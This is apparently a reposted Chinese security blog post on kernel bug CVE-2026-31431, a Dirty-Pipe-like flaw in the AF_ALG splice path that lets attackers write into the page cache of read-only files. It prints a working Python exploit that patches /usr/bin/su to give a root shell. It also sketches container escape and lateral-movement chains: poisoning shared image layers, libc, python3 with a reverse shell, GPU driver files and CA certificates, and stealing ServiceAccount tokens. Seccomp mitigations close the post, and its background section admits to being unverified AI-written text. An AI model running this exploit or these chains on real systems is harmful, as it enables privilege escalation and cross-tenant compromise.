文章总结: 该文档分析CVE-2026-31431内核漏洞,其本质为AFALG子系统在splice接收路径中未清除PIPEBUFFLAGCAN_MERGE标志,导致攻击者可通过污染PageCache篡改只读文件。漏洞影响主机提权与容器逃逸,利用OverlayFS共享inode特性,同一镜像层的多个容器会执行被篡改的二进制或库文件。文档提供完整Python利用代码,演示如何逐步修改SUID文件绕过密码验证获取root权限,并指出可劫持libc、Python等关键文件实现跨容器RCE。 综合评分: 85 文章分类: 漏洞分析,云安全,二进制安全,红队,安全运营
CVE-2026-31431 真的只值 7.8 么
DVKunion、Azzzzz DVKunion、Azzzzz
艾拉醒来的四月
2026年4月30日 16:40 浙江
在小说阅读器读本章
去阅读
CVE-2026-31431 真的只值 7.8 么?
今天一个很有意思的洞发出来了,CVE-2026-31431 的一个内核漏洞。从各类分析文章上描述了该漏洞不仅仅影响主机侧,同样 kubernetes 容器场景也会受到影响。
但是目前公开的利用方式只有在主机上的 su 利用思路。具体在容器上的逃逸,是如何实现的呢?我们来看看。
TL;DR
先放个结论,确实能够实现逃逸,且所需要的权限极低、受影响范围不仅仅在 OS,而是各类 PaaS 应用服务。
提供的思路在一些特殊场景下,甚至可以直接拿到主机节点权限。
0x00 背景知识
(此处均 AI,未验证正确性,可以直接跳过到 0x03 容器部分)
在深入漏洞之前,需要理解三个核心概念。
Page Cache
Linux 内核不会每次读文件都访问磁盘。当进程读取一个文件时,内核会将文件内容缓存在内存中——这就是 Page Cache。后续对同一文件的读取直接命中缓存,避免昂贵的磁盘 I/O。
关键特性:Page Cache 以 inode 为粒度管理。同一个文件无论被多少个进程打开,内核中只维护一份缓存页。
splice 系统调用
splice() 是 Linux 提供的零拷贝数据传输机制。它通过 pipe 在两个文件描述符之间搬运数据,不经过用户态缓冲区,直接在内核中移动页面引用:
文件 ──splice──→ pipe ──splice──→ socket
零拷贝:内核直接传递页面引用,不复制数据
在这个过程中,pipe buffer 会持有对源文件 page cache 页面的引用。pipe buffer 结构体中有一个标志位 PIPE_BUF_FLAG_CAN_MERGE,它决定了后续写入是否可以直接追加到这个 buffer 对应的页面上。
AF_ALG
AF_ALG 是 Linux 内核提供的用户态密码学接口。用户进程可以通过 socket API 直接调用内核中的加密算法(AES、SHA256 等),无需依赖用户态加密库:
int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(fd, ("aead", "authencesn(hmac(sha256),cbc(aes))"));
// 通过 sendmsg/recvmsg 进行加密/解密操作
0x01 漏洞根因
废话环节,其他人的分析比我的好。
漏洞存在于 AF_ALG 子系统处理 splice() 接收数据的路径中。
正常流程中,当数据通过 splice() 从文件进入 pipe 时,pipe buffer 引用的是源文件的 page cache 页面。内核应当确保这些引用是只读的——即清除 PIPE_BUF_FLAG_CAN_MERGE 标志,防止后续操作意外写入这些共享页面。
但 AF_ALG 的 splice 接收路径忘了做这件事。
当数据通过以下路径流动时:
文件 ──splice──→ pipe ──splice──→ AF_ALG socket
│
└─ pipe buffer 仍持有对文件 page cache 的引用
且 PIPE_BUF_FLAG_CAN_MERGE 未被清除
AF_ALG 在处理加密/解密操作后,将结果数据写回 pipe buffer 时,由于 CAN_MERGE 标志仍然存在,内核认为”可以直接写入这个页面”——于是加密输出被写入了源文件的 page cache 页面。
这绕过了所有文件权限检查——因为数据根本没有经过 VFS 写入路径。
与 Dirty Pipe (CVE-2022-0847) 的关系
这个漏洞与 2022 年的 Dirty Pipe 是同一类问题的不同变体:
| | Dirty Pipe (CVE-2022-0847) | CVE-2026-31431 |
| — | — | — |
| 触发路径 | pipe write 后接 splice | splice 经由 AF_ALG socket |
| 未清除的标志 | PIPE_BUF_FLAG_CAN_MERGE | 同 |
| 影响 | 任意只读文件 page cache 写入 | 同 |
| 修复方式 | copy_page_to_iter_pipe 中清除标志 | AF_ALG splice 接收路径中清除标志 |
Dirty Pipe 修复后,内核开发者在主要的 splice 路径中修复了标志位问题,但 AF_ALG 子系统有自己独立的 splice 处理代码,被遗漏了。
0x02 Exploit 分析
完整代码
#!/usr/bin/env python3
import os as g, zlib, socket as s
def d(x):
return bytes.fromhex(x)
def c(f, t, c):
# 创建 AF_ALG socket
a = s.socket(38, 5, 0) # AF_ALG, SOCK_SEQPACKET
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
h = 279# SOL_ALG
v = a.setsockopt
v(h, 1, d('0800010000000010' + '0' * 64)) # ALG_SET_KEY
v(h, 5, None, 4) # ALG_SET_AEAD_AUTHSIZE
u, _ = a.accept() # 获取操作 socket
o = t + 4
i = d('00')
u.sendmsg(
[b"A" * 4 + c], # 数据:4字节填充 + 4字节补丁内容
[
(h, 3, i * 4), # ALG_SET_OP(加密/解密)
(h, 2, b'\x10' + i * 19), # ALG_SET_IV
(h, 4, b'\x08' + i * 3), # ALG_SET_AEAD_ASSOCLEN
],
32768# MSG_SPLICE_PAGES
)
r, w = g.pipe()
n = g.splice
n(f, w, o, offset_src=0) # 文件 → pipe(引用 page cache)
n(r, u.fileno(), o) # pipe → AF_ALG socket(触发漏洞)
try:
u.recv(8 + t) # 触发写回,污染 page cache
except:
0
# 打开目标 SUID 二进制(只读)
f = g.open("/usr/bin/su", 0)
i = 0
# 解压补丁数据
e = zlib.decompress(d("78daab77f571636264648001260..."))
# 每次写入 4 字节,逐步篡改 /usr/bin/su 的 page cache
while i < len(e):
c(f, i, e[i:i + 4])
i += 4
# 执行已被污染的 su,获取 root shell
g.system("su")
攻击流程图解
┌─────────────────────────────────────────────────────────┐
│ 1. 只读打开 /usr/bin/su (SUID root) │
│ fd = open("/usr/bin/su", O_RDONLY) │
└──────────────────────┬──────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────┐
│ 2. 创建 AF_ALG AEAD socket │
│ socket(AF_ALG) → bind(aead, authencesn(...)) │
│ setsockopt: 设置密钥、认证标签大小 │
│ accept() → 获得操作文件描述符 │
└──────────────────────┬──────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────┐
│ 3. sendmsg 发送补丁数据 + 加密参数 │
│ MSG_SPLICE_PAGES(32768) 标志触发 splice 路径 │
│ 携带 4 字节恶意补丁数据 │
└──────────────────────┬──────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────┐
│ 4. splice: /usr/bin/su → pipe │
│ pipe buffer 获得 page cache 页面引用 │
│ ⚠️ PIPE_BUF_FLAG_CAN_MERGE 未清除 │
└──────────────────────┬──────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────┐
│ 5. splice: pipe → AF_ALG socket │
│ AF_ALG 加密处理后,结果写回 pipe buffer │
│ 由于 CAN_MERGE 标志存在 → 直接写入 page cache 页面 │
│ ⚠️ /usr/bin/su 的内存映像被篡改 │
└──────────────────────┬──────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────┐
│ 6. 循环执行,每次修补 4 字节 │
│ 补丁内容:NOP 掉 su 的密码验证逻辑 │
└──────────────────────┬──────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────┐
│ 7. os.system("su") │
│ 内核从 page cache 加载被篡改的 su │
│ SUID 生效 → 以 root 身份运行 │
│ 密码验证已被 NOP → 直接获得 root shell │
└─────────────────────────────────────────────────────────┘
0x03 容器场景下的 Page Cache 污染
现在我们已经完全了解了这个 LPE 漏洞的原理了,现在我们该如何打到容器的业务场景呢?这里就要引入到容器的基础知识:OverlayFS 了。
OverlayFS 与 Page Cache 的关系
容器使用 OverlayFS 构建文件系统视图:
Container 视图
│
├─ upper layer (可写层,容器运行时修改)
└─ lower layer (只读层,来自镜像)
│
└─ 实际 inode → Page Cache
↑
共享!同一镜像 = 同一 inode = 同一 page cache
当容器读取 lower layer 中的文件时,page cache 缓存的是底层真实 inode 的内容。多个容器共享同一个镜像层,就共享同一份 page cache。
那么我们要做的事情就很简单了:
- 寻找集群或机器上的镜像,因为在 overlayfs 的能力下,相同 layer 实际上是在一个 inode 块上,而通 inode 块可以共享 page cache。
- 修改可能会被触发的二进制、so 文件等等。
- 其他使用同 layer 、相同 node 下当触发了对应的 page cache,则会执行我们的 payload。
- 从而实现突破隔离的 RCE 效果。
当然可污染目标远不止 SUID
| 目标 | 效果 |
| — | — |
| /usr/bin/su , /usr/bin/sudo | 直接提权 |
| /lib/x86_64-linux-gnu/libc.so.6 | 劫持所有动态链接程序 |
| /usr/bin/python3 , /usr/bin/node | 劫持运行时,影响所有脚本执行 |
| /etc/ld.so.preload | 注入全局 preload 库路径 |
| /etc/nsswitch.conf | 劫持域名/用户解析 |
| /etc/ssl/certs/ca-certificates.crt | 注入恶意 CA 证书,实施 MITM |
具体会影响的业务场景有哪些呢?
场景1: 攻击容器 daemonset
集群中存在大量的 deamonset,我们可以复制一个 deamonset 使用的镜像,创建一个 pod。
攻击者在 Container A 中执行 exploit,污染的 page cache 被 Daemonset Container B 和 C 同时读到。
比如:deamonset 会定期执行一些任务或进程,我们可以修改他频繁执行的 binary, 这在很多 daemonset 守护容器或监控服务中很常见;等待下一次执行的时候则会触发我们的 payload。
可以寻找一下大部分集群中的常见 daemonset 服务,查看 entrypoint.sh 是否会有常见的 bin 调用。
and,这部分 deamonset 大部分都有较高的权限,或事挂载了宿主目录,从而进入传统的集群渗透。
场景2: host_path 会不会有脏东西?
在越来越多的 AI GPU 服务,会把宿主机的 nvidia 驱动直接通过 bind mount的方式给挂载到容器里面。
所以容器里面和宿主机的 inode 是一样的,按这次的漏洞,只要有人在容器里面,用 splice,把这些类似 nvidia-smi 之类的文件,或者 .so 的文件给改了,那么宿主机一旦用了这些 bin或者 driver,就会直接 rce。下面这一坨都行:
nvidia
by the way, readOnly: true 对 page cache 完全不生效了。
场景3: PaaS 业务
有了两个前面的基础,那么我们再想想,PaaS 这种多租户,每个租户启动的镜像可能都相同,而该利用方式又不需要特别的权限;当租户了解了自己的镜像会启动哪些东西后,通过该漏洞 CVE 篡改 page cache,后续启动的镜像是不是都会直接执行恶意 payload?
横向移动
将这些能力组合,形成完整的攻击链:
低权限 Pod(无特殊 capability)
│
├─ 1. 污染 lower layer 的文件 如:/usr/bin/python3
│ 注入:启动时自动建立 reverse shell
│
├─ 2. 等待同节点其他 Pod 调用 python3
│ 触发点:health check、cron job、应用启动
│ (大多数 Python 服务每几秒就会触发)
│
└─ 3. 在目标 Pod 上下文中获得执行权
可利用的资源:
├─ ServiceAccount token → K8s API 横向移动
├─ 挂载的 Secret / ConfigMap
├─ 网络策略允许的内网访问
└─ 更高的 Linux capability
0x04 防御建议
临时建议
# 强制清除 page cache
echo 3 > /proc/sys/vm/drop_caches
但这在生产环境中代价高昂——清除 page cache 会导致严重的性能抖动。
内核层
| | | — | | |
| 措施 | 说明 |
| — | — |
| 升级内核 | 根治方案,应用包含修复的补丁 |
| Seccomp 策略 | 禁止 socket(AF_ALG, ...) 系统调用(family=38) |
| 限制 splice | 可行但影响面大,很多应用依赖 splice(如 nginx、sendfile) |
容器运行时层
// Seccomp profile: 禁止创建 AF_ALG socket
{
"defaultAction": "SCMP_ACT_ALLOW",
"syscalls": [
{
"names": ["socket"],
"action": "SCMP_ACT_ERRNO",
"args": [
{ "index": 0, "value": 38, "op": "SCMP_CMP_EQ" }
]
}
]
}
0x05 总结
当然这个 overlayFs 的利用方式只是个抛砖引玉,证明该 CVE 在容器化场景下的影响,实际利用手段可能更优雅,思路更佳新奇。欢迎探讨。
P.S. 有没有 Android 大手子看看手机是不是能更优雅 ROOT 了……
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:艾拉醒来的四月 DVKunion、Azzzzz DVKunion、Azzzzz《CVE-2026-31431 真的只值 7.8 么》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论